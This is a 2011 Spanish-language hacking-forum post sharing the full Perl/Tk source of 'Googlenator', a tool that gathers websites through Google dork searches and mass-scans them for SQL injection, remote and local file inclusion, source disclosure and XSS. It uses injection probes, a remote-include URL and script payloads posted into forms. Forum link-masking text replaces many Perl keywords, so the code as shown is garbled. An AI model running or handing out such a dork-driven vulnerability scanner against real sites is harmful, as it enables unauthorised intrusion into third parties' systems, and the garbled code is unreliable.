comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl Tk] Googlenator

  • 0 Respuestas
  • 1072 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Agosto 19, 2011, 11:27:52 pm »
Bueno esta es la nueva version de googlenator en la cual le corregi algunas cosas y le agregue un scanner para XSS

Una imagen seria



El codigo es el siguiente

Código: Perl
  1. #!usr/bin/perl
  2. #Googlenator (C) Doddy Hackman 2011
  3.  
  4. use Tk;
  5. use Tk::ROText;
  6. use Tk::FileSelect;
  7. use URI::Split You are not allowed to view links. Register or Login(uri_split);
  8. use Cwd;
  9. use LWP::UserAgent;
  10. use HTML::Form;
  11.  
  12.  
  13. my $nave = LWP::UserAgent->new();
  14. $nave->timeout(5);
  15. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  16.  
  17. installer();
  18.  
  19. my $new = MainWindow->new(-background=>"black");
  20.  
  21. $new->title("Googlenator (C) Doddy Hackman 2011");
  22. $new->geometry("780x530");
  23. $new->resizable(0,0);
  24.  
  25. $d = $new->Frame(-relief=>"sunken",-bd=>1,-background=>"black",-foreground=>"white");
  26. my $scanx = $d->Menubutton(-text=>"Scan",-underline=>1,-background=>"black",-foreground=>"white",-activebackground=>"white")->You are not allowed to view links. Register or Login(-side=>"left");
  27. my $logsx = $d->Menubutton(-text=>"Logs",-underline=>1,-background=>"black",-foreground=>"white",-activebackground=>"white")->You are not allowed to view links. Register or Login(-side=>"left");
  28. $d->You are not allowed to view links. Register or Login(-side=>"top",-fill=>"x");
  29.  
  30. $scanx->command(-label=>"SQL",-background=>"black",-foreground=>"white",-command=>\&loadsql);
  31. $scanx->command(-label=>"RFI",-background=>"black",-foreground=>"white",-command=>\&loadrfi);
  32. $scanx->command(-label=>"LFI",-background=>"black",-foreground=>"white",-command=>\&loadlfi);
  33. $scanx->command(-label=>"FSD",-background=>"black",-foreground=>"white",-command=>\&loadfsd);
  34. $scanx->command(-label=>"XSS",-background=>"black",-foreground=>"white",-command=>\&loadxss);
  35.  
  36. $logsx->command(-label=>"GoogleSearchs",-background=>"black",-foreground=>"white",-command=>\&loadgoogle);
  37. $logsx->command(-label=>"SQL",-background=>"black",-foreground=>"white",-command=>\&loadfilesql);
  38. $logsx->command(-label=>"RFI",-background=>"black",-foreground=>"white",-command=>\&loadfilerfi);
  39. $logsx->command(-label=>"LFI",-background=>"black",-foreground=>"white",-command=>\&loadfilelfi);
  40. $logsx->command(-label=>"FSD",-background=>"black",-foreground=>"white",-command=>\&loadfilefsd);
  41. $logsx->command(-label=>"XSS",-background=>"black",-foreground=>"white",-command=>\&loadfilexss);
  42.  
  43.  
  44. my $box = $new->ROText(-background=>"black",-foreground=>"white",-width=> 104,-height=> 20)->place(-x =>20,-You are not allowed to view links. Register or Login=>60);
  45.  
  46. head();
  47.  
  48. $new->Label(-background=>"black",-foreground=>"white",-text=>"Google : ",-font=>"Impact")->place(-You are not allowed to view links. Register or Login=>"380",-x=>"20");
  49.  
  50. my $google = $new->Entry(-background=>"black",-foreground=>"white",-width=>"30",-text=>"www.google.com.ar")->place(-x=>"80",-You are not allowed to view links. Register or Login=>"385");
  51.  
  52. $new->Label(-background=>"black",-foreground=>"white",-text=>"Pages : ",-font=>"Impact")->place(-You are not allowed to view links. Register or Login=>"380",-x=>"300");
  53.  
  54. my $pages = $new->Entry(-background=>"black",-foreground=>"white",-width=>"5",-text=>"30")->place(-You are not allowed to view links. Register or Login=>"385",-x=>"354");
  55.  
  56. $new->Label(-background=>"black",-foreground=>"white",-font=>"Impact",-text=>"Dorks : ")->place(-You are not allowed to view links. Register or Login=>"380",-x=>"450");
  57.  
  58. my $dorks = $new->Entry(-background=>"black",-foreground=>"white",-width=>"40",-text=>"index.php+id")->place(-You are not allowed to view links. Register or Login=>"385",-x=>"505");
  59.  
  60. $new->Button(-text=>"Search in Google",-background=>"black",-foreground=>"white",-activebackground=>"white",-width=>"130",-command=>\&googler)->place(-You are not allowed to view links. Register or Login=>"450");
  61. $new->Button(-text=>"About",-background=>"black",-foreground=>"white",-activebackground=>"white",-width=>"130",-command=>\&about)->place(-You are not allowed to view links. Register or Login=>"474");
  62. $new->Button(-text=>"Exit",-background=>"black",-foreground=>"white",-activebackground=>"white",-width=>"130",-command=>\&exitx)->place(-You are not allowed to view links. Register or Login=>"498");
  63.        
  64. MainLoop;
  65.  
  66. head();
  67.  
  68. sub googler {
  69.  
  70. my $google = $google->get;
  71. my $pages = $pages->get;
  72. my $dorks = $dorks->get;
  73.  
  74. head();
  75.  
  76. $box->insert("end","\t\t[+] Searching pages with string $dorks\n\n");
  77.  
  78. my @webas = google($google,$dorks,$pages);
  79.  
  80. $box->insert("end","\t\t[+] Cleaning\n\n");
  81. $box->insert("end","\t\t[+] Webs Found ".You are not allowed to view links. Register or Login(@webas)."\n\n");
  82.  
  83. for(@webas) {
  84. $new->update();
  85. $box->insert("end","\t\t[Link] : ".$_."\n");
  86. savefile($dorks.".txt",$_);
  87. }
  88.  
  89. $box->insert("end","\n\t\t[+] All save in logs/search/".$dorks."\n");
  90. $box->insert("end","\n\n\t\t[+] Finished\n\n");
  91.        
  92. }
  93.  
  94. sub loadsql {
  95.  
  96. $browse = $new->FileSelect(-directory => getcwd());
  97. my $filea = $browse->Show;
  98.  
  99. head();
  100.  
  101.  
  102. unless (-f $filea) {
  103. $box->insert("end","\n\t\t[-] File Not Found\n");
  104. next;
  105. }
  106.  
  107. $box->insert("end","\n\t\t\[+] Scan SQL Started\n\n");
  108. $box->insert("end","\t\t[+] File : $filea\n");
  109.  
  110. You are not allowed to view links. Register or Login (FILE,$filea);
  111. @words = <FILE>;
  112. You are not allowed to view links. Register or Login FILE;
  113.  
  114. You are not allowed to view links. Register or Login @words;
  115.  
  116. $box->insert("end","\t\t[+] Webs Found : ".You are not allowed to view links. Register or Login(@words)."\n\n");
  117.  
  118. for my $page(@words) {
  119. my $page = clean($page);
  120. You are not allowed to view links. Register or Login $page."\n";
  121. $new->update();
  122. scansql($page);
  123. }
  124.  
  125. sub scansql {
  126. my ($pass1,$pass2) = ("+","--");
  127. my $page = You are not allowed to view links. Register or Login;
  128. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  129. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  130. $box->insert("end","\t\t[+] SQLI : $page\n");
  131. savefilevul("sql-logs.txt",$page);
  132. }}
  133. $box->insert("end","\n\n\t\t[+] Finished\n\n");
  134. }
  135.  
  136.  
  137. sub loadxss {
  138.  
  139. $browse = $new->FileSelect(-directory => getcwd());
  140. my $filea = $browse->Show;
  141.  
  142. head();
  143. $box->insert("end","\t\t[+] File : $filea\n");
  144.  
  145. You are not allowed to view links. Register or Login (FILE,$filea);
  146. @words = <FILE>;
  147. You are not allowed to view links. Register or Login FILE;
  148.  
  149. You are not allowed to view links. Register or Login @words;
  150.  
  151. $box->insert("end","\n\t\t\[+] Scan XSS Started\n\n");
  152. $box->insert("end","\t\t[+] Webs Found : ".You are not allowed to view links. Register or Login(@words)."\n\n");
  153.  
  154. for my $page(@words) {
  155. $new->update();
  156. scanxss($page);
  157. }
  158. $box->insert("end","\n\n\t\t[+] Finished\n\n");
  159. }
  160.  
  161.  
  162. sub loadrfi {
  163.  
  164. $browse = $new->FileSelect(-directory => getcwd());
  165. my $filea = $browse->Show;
  166.  
  167. head();
  168. $box->insert("end","\t\t[+] File : $filea\n");
  169.  
  170. You are not allowed to view links. Register or Login (FILE,$filea);
  171. @words = <FILE>;
  172. You are not allowed to view links. Register or Login FILE;
  173.  
  174. You are not allowed to view links. Register or Login @words;
  175.  
  176.  
  177. $box->insert("end","\n\t\t\[+] Scan RFI Started\n\n");
  178. $box->insert("end","\t\t[+] Webs Found : ".You are not allowed to view links. Register or Login(@words)."\n\n");
  179.  
  180. for my $page(@words) {
  181. my $page = clean($page);
  182. $new->update();
  183. scanrfi($page);
  184. }
  185.  
  186. sub scanrfi {
  187. my $page = You are not allowed to view links. Register or Login;
  188. $code1 = toma($page."http:/www.supertangas.com/");
  189. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  190. $box->insert("end","\t\t[+] RFI : $page\n");
  191. savefilevul("rfi-logs.txt",$page);
  192. }}
  193. $box->insert("end","\n\n\t\t[+] Finished\n\n");
  194. }
  195.  
  196. sub loadlfi {
  197.  
  198. $browse = $new->FileSelect(-directory => getcwd());
  199. my $filea = $browse->Show;
  200.  
  201. head();
  202. $box->insert("end","\t\t[+] File : $filea\n");
  203.  
  204. You are not allowed to view links. Register or Login (FILE,$filea);
  205. @words = <FILE>;
  206. You are not allowed to view links. Register or Login FILE;
  207.  
  208. You are not allowed to view links. Register or Login @words;
  209.  
  210.  
  211. $box->insert("end","\n\t\t\[+] Scan LFI Started\n\n");
  212. $box->insert("end","\t\t[+] Webs Found : ".You are not allowed to view links. Register or Login(@words)."\n\n");
  213.  
  214. for my $page(@words) {
  215. my $page = clean($page);
  216. $new->update();
  217. scanlfi($page);
  218. }
  219.  
  220.  
  221. sub scanlfi {
  222. my $page = You are not allowed to view links. Register or Login;
  223. $code1 = toma($page."'");
  224. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  225. $box->insert("end","\t\t[+] LFI : $page\n");
  226. savefilevul("lfi-logs.txt",$page);
  227. }}
  228. $box->insert("end","\n\n\t\t[+] Finished\n\n");
  229. }
  230.  
  231. sub loadfsd {
  232.  
  233. $browse = $new->FileSelect(-directory => getcwd());
  234. my $filea = $browse->Show;
  235.  
  236. head();
  237. $box->insert("end","\t\t[+] File : $filea\n");
  238.  
  239. You are not allowed to view links. Register or Login (FILE,$filea);
  240. @words = <FILE>;
  241. You are not allowed to view links. Register or Login FILE;
  242.  
  243. You are not allowed to view links. Register or Login @words;
  244.  
  245.  
  246. $box->insert("end","\n\t\t\[+] Scan FSD Started\n\n");
  247. $box->insert("end","\t\t[+] Webs Found : ".You are not allowed to view links. Register or Login(@words)."\n\n");
  248.  
  249. for my $page(@words) {
  250. my $page = clean($page);
  251. $new->update();
  252. scanfsd($page);
  253. }
  254.  
  255. sub scanfsd {
  256. my $page = You are not allowed to view links. Register or Login;
  257. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  258. if ($path=~/\/(.*)$/) {
  259. my $me = $1;
  260. $code1 = toma($page.$me);
  261. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  262. $box->insert("end","\t\t[+] Full Source Discloure : $page\n");
  263. savefilevul("fsd-logs.txt",$page);
  264. }}}
  265. $box->insert("end","\n\n\t\t[+] Finished\n\n");
  266. }
  267.  
  268. sub head {
  269.  
  270. $box->You are not allowed to view links. Register or Login("0.0","end");
  271.  
  272. $box->insert("end","
  273.           @@@@     @@@      @@@      @@@@   @@   @@@@ @@   @@    @@   @@@@@@  @@@    @@@@  
  274.          @@@@@    @@@@@    @@@@@    @@@@@   @@   @@   @@@  @@    @@     @@   @@@@@   @@ @@
  275.         @@@      @@   @@  @@   @@  @@@      @@   @@   @@@@ @@   @@@@    @@  @@   @@  @@ @@
  276.         @@  @@@  @@   @@  @@   @@  @@  @@@  @@   @@@@ @@ @ @@   @  @    @@  @@   @@  @@@@  
  277.         @@@  @@  @@   @@  @@   @@  @@@  @@  @@   @@   @@ @@@@  @@@@@@   @@  @@   @@  @@@@  
  278.          @@@@@    @@@@@    @@@@@    @@@@@   @@   @@   @@  @@@  @@  @@   @@   @@@@@   @@ @@
  279.           @@@      @@@      @@@      @@@    @@@@ @@@@ @@   @@  @@  @@   @@    @@@    @@  @@
  280.  
  281.                                                                  
  282.                                                                         Coded By Doddy H
  283.  
  284.  
  285.        
  286. ");
  287. }
  288.  
  289. sub about {
  290. $about = MainWindow->new(-background=>"black");
  291. $about->title("Googlenator v0.3");
  292. $about->geometry("300x110");
  293. $about->resizable(0,0);
  294. $about->Label(-background=>"black",-foreground=>"white")->You are not allowed to view links. Register or Login();
  295. $about->Label(-text=>"Contact : lepuke[at]hotmail[com]",-font=>"Impact",-background=>"black",-foreground=>"white")->You are not allowed to view links. Register or Login();
  296. $about->Label(-text=>"Web : doddyhackman.webcindario.com",-font=>"Impact",-background=>"black",-foreground=>"white")->You are not allowed to view links. Register or Login();
  297. $about->Label(-text=>"Blog : doddy-hackman.blogspot.com",-font=>"Impact",-background=>"black",-foreground=>"white")->You are not allowed to view links. Register or Login();
  298. }
  299.  
  300. sub exitx {
  301. You are not allowed to view links. Register or Login(1);
  302. }
  303.  
  304. sub savefilevul {
  305. You are not allowed to view links. Register or Login (SAVE,">>logs/vulz/".$_[0]);
  306. You are not allowed to view links. Register or Login SAVE $_[1]."\n";
  307. You are not allowed to view links. Register or Login SAVE;
  308. }
  309.  
  310. sub toma {
  311. You are not allowed to view links. Register or Login $nave->get($_[0])->content;
  312. }
  313.  
  314. sub dame_link {
  315. You are not allowed to view links. Register or Login $nave->find_all_links();
  316. }
  317.  
  318. sub clean {
  319. if ($_[0] =~/\=/) {
  320. my @sacar= You are not allowed to view links. Register or Login("=",$_[0]);
  321. You are not allowed to view links. Register or Login(@sacar[0]."=");
  322. }
  323. }
  324.  
  325. sub savefile {
  326. You are not allowed to view links. Register or Login (SAVE,">>logs/search/".$_[0]);
  327. You are not allowed to view links. Register or Login SAVE $_[1]."\n";
  328. You are not allowed to view links. Register or Login SAVE;
  329. }
  330.  
  331. sub google {
  332.  
  333. for ($pages=10;$pages<=$_[2];$pages=$pages+10) {
  334. $new->update();
  335. toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
  336. @links = dame_link();
  337. for my $l(@links) {
  338. if ($l->url() =~/webcache.googleusercontent.com/) {
  339. You are not allowed to view links. Register or Login(@url,$l->url());
  340. }
  341. }
  342. }
  343.  
  344. for(@url) {
  345. if ($_ =~/cache:(.*?):(.*?)\+/) {
  346. You are not allowed to view links. Register or Login(@founds,$2);
  347. }
  348. }
  349.  
  350. my @founds = repes(@founds);
  351.  
  352. You are not allowed to view links. Register or Login @founds;
  353. }
  354.  
  355.  
  356.  
  357. sub installer {
  358.  
  359. unless (-d "logs/") {
  360. You are not allowed to view links. Register or Login("logs/","777");
  361. You are not allowed to view links. Register or Login("logs/search","777");
  362. You are not allowed to view links. Register or Login("logs/vulz","777");
  363. }
  364. }
  365.  
  366. sub repes {
  367. foreach my $palabra ( @_ ) {
  368. next if $repety{ $palabra }++;
  369. You are not allowed to view links. Register or Login @revisado,$palabra;
  370. }
  371. You are not allowed to view links. Register or Login @revisado;
  372. }
  373.  
  374. sub loadgoogle {
  375. You are not allowed to view links. Register or Login("start ".getcwd()."/logs/search/");
  376. }
  377.  
  378. sub loadfilesql {
  379. You are not allowed to view links. Register or Login("start logs/vulz/sql-logs.txt");
  380. }
  381.  
  382.  
  383. sub loadfilelfi {
  384. You are not allowed to view links. Register or Login("start logs/vulz/lfi-logs.txt");
  385. }
  386.  
  387.  
  388. sub loadfilerfi {
  389. You are not allowed to view links. Register or Login("start logs/vulz/rfi-logs.txt");
  390. }
  391.  
  392.  
  393. sub loadfilefsd {
  394. You are not allowed to view links. Register or Login("start logs/vulz/fsd-logs.txt");
  395. }
  396.  
  397.  
  398. sub loadfilexss {
  399. You are not allowed to view links. Register or Login("start logs/vulz/xss-logs.txt");
  400. }
  401.  
  402. sub scanxss {
  403.  
  404. my $page = You are not allowed to view links. Register or Login;
  405.  
  406. my @testar = HTML::Form->parse(toma($page),"/");
  407. my @botones_names;
  408. my @botones_values;
  409. my @orden;
  410. my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
  411. my @get_founds;
  412. my @post_founds;
  413. my @ordenuno;
  414. my @ordendos;
  415.  
  416. my $contador_forms = 0;
  417.  
  418. my $valor = "doddyhackman";
  419.  
  420. for my $test(@testar) {
  421. $contador_forms++;
  422. if ($test->method eq "POST") {
  423. my @inputs = $test->inputs;
  424. for my $in(@inputs) {
  425. if ($in->type eq "submit") {
  426. if ($in->name eq "") {
  427. You are not allowed to view links. Register or Login(@botones_names,"submit");
  428. }
  429. You are not allowed to view links. Register or Login(@botones_names,$in->name);
  430. You are not allowed to view links. Register or Login(@botones_values,$in->value);
  431. } else {
  432. You are not allowed to view links. Register or Login(@ordenuno,$in->name,$pa[0]);
  433. You are not allowed to view links. Register or Login(@ordendos,$in->name,$pa[1]);
  434. }}
  435.  
  436. for my $n(0..You are not allowed to view links. Register or Login(@botones_names)-1) {
  437. my @preuno = @ordenuno;
  438. my @predos = @ordendos;
  439. You are not allowed to view links. Register or Login(@preuno,$botones_names[$n],$botones_values[$n]);
  440. You are not allowed to view links. Register or Login(@predos,$botones_names[$n],$botones_values[$n]);
  441.  
  442. my $codeuno = $nave->post($page,\@preuno)->content;
  443. my $codedos = $nave->post($page,\@predos)->content;
  444. if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
  445. $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
  446. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  447. You are not allowed to view links. Register or Login(@post_founds,$contador_forms);
  448. } else {
  449. You are not allowed to view links. Register or Login(@post_founds,$test->attr(name));
  450. }}}
  451. } else { #Fin de metodo POST
  452. my @inputs = $test->inputs;
  453. for my $in(@inputs) {  
  454. if ($in->type eq "submit") {
  455. if ($in->name eq "") {
  456. You are not allowed to view links. Register or Login(@botones_names,"submit");
  457. }
  458. You are not allowed to view links. Register or Login(@botones_names,$in->name);
  459. You are not allowed to view links. Register or Login(@botones_values,$in->value);
  460. } else {
  461. $orden.=''.$in->name.'='.$valor.'&';
  462. }}
  463. You are not allowed to view links. Register or Login($orden);
  464. for my $n(0..You are not allowed to view links. Register or Login(@botones_names)-1) {
  465. my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
  466. my $final = $orden.$partedos;
  467. for my $strin(@pa) {
  468. You are not allowed to view links. Register or Login $strin;
  469. $final=~You are not allowed to view links. Register or Login/doddyhackman/$strin/;
  470. $code = toma($page."?".$final);
  471. my $strin = "\Q$strin\E";
  472. if ($code=~/$strin/) {
  473. You are not allowed to view links. Register or Login(@get_founds,$page."?".$final);
  474. }}}}}
  475.  
  476. my @get_founds = repes(@get_founds);
  477. if (You are not allowed to view links. Register or Login(@get_founds) ne 0) {
  478. for(@get_founds) {
  479. $box->insert("end","\t\t[+] XSS Found : $_\n");
  480. savefilevul("xss-logs.txt","[+] XSS Found : $_");
  481. }}
  482.  
  483. my @post_founds = repes(@post_founds);
  484. if (You are not allowed to view links. Register or Login(@post_founds) ne 0) {
  485. for my $t(@post_founds) {
  486. if ($t =~/^\d+$/) {
  487. $box->insert("end","\t\t[+] XSS : Form $t in $page\n");
  488. savefilevul("xss-logs.txt","[+] XSS : Form $t in $page");
  489. }}}}
  490.  
  491.  
  492. #  The End ?
  493.  
« Última modificación: Marzo 14, 2015, 10:14:49 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3004
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1409
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1236
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 1330
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1181
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear